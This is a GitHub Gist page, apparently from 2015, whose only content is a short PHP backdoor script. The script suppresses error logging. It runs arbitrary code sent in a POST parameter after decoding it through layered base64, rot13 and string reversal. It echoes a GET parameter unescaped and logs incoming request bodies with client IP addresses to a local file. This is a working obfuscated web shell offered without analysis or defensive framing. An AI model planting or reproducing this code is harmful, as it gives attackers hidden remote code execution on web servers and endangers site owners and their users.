Created
March 20, 2015 07:54
-
-
Save newbiethetest/f053f848e6d0e49d97c7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@error_reporting(0); | |
@ini_set("display_errors",0); | |
@ini_set("log_errors",0); | |
@ini_set("error_log",0); | |
if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); | |
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') | |
{ $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); | |
@flock($fp, LOCK_EX); | |
@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); | |
@flock($fp, LOCK_UN); @fclose($fp); | |
} } | |
exit; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment